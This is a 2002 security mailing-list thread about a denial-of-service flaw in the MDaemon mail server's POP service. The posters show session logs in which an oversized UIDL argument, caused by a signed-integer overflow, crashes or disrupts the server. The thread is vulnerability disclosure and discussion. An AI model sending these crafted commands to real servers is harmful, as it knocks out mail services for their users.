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RE: MDaemon SMTP/POP/IMAP server DoS
From: "Robert Feldbauer" <wuher () swrpg net>
Date: Tue, 29 Oct 2002 11:30:46 -0500

I'm running MDaemon 3.1.2 and this does not have any adverse effect.
Here's my log:

+OK daisydata.com POP3 server ready
<MDAEMON-F200210291127.AA274532MD3626 () mydomain com>
USER myusername
+OK myusername... Recipient ok
PASS mypassword
+OK myusername () mydomain com's mailbox has 0 total messages (0 octets).
UIDL 2147483647
-ERR no such message
UIDL 2147483648
+OK -2147483648
UIDL 2147483649
+OK -2147483647
UIDL 2147483650
+OK -2147483646

And it responds to "QUIT" just fine.

Bob Feldbauer
wuher () swrpg net

-----Original Message-----
From: Basil Hussain [mailto:basil.hussain () kodakweddings com]
Sent: Tuesday, October 29, 2002 5:27 AM
To: bugtraq () securityfocus com
Subject: RE: MDaemon SMTP/POP/IMAP server DoS


Hi all,

Bug founded in MDaemon's pop-server. It's possible to kill MDaemon by
sending long arguments (32b and above) with DELE or UIDL commands.
To do this u must have at least mail-account on vulnerable host.
After geting long request from client, all MDaemon's Services will be
closed (smtp, imap, pop, (?)worldclient).
Here the log of attack on local MDaemon POP-server:

+OK dark.ru POP MDaemon ready using UNREGISTERED SOFTWARE 6.0.7
<MDAEMON-F200210
271036.AA3656130MD0012 () dark ru>
USER D4rkGr3y
+OK D4rkGr3y... Recipient ok
PASS cool-pass
+OK D4rkGr3y () dark ru's mailbox has 1 total messages (18356 octets).
UIDL 11111111111111111111111111111111

It would appear this is not an issue with the length of string passed to
MDaemon, but rather an integer overflow problem. After some testing, I've
discovered that if you pass any number greater than 2147483647 (the limit
for a signed 4-byte integer), you either get an error or a
complete crash of
MDaemon. For example:

+OK somedomain.com POP MDaemon 6.0.5 ready
<MDAEMON-F200210290951.AA5138234MD2795 () somedomain com>
USER blah
+OK blah... Recipient ok
PASS 123456
+OK blah () somedomain com's mailbox has 0 total messages (0 octets).
UIDL 2147483647
-ERR no such message
UIDL 2147483648
+OK -2147483648 !!! Index 0 is not used
UIDL 2147483649

[Connection lost at this point...]

By the way, you may have noticed this also works with a slightly older
release (6.0.5). Also, hostname and account details have been changed to
protect the guilty... :-)

Also, I don't know whether this was something with how my test W2K server
was set up, but MDaemon would auto-restart afterwards, thus
making this bug
not so much of a show-stopper and limiting scope for a Denial-of-Service
attack somewhat.

Regards,
Basil Hussain


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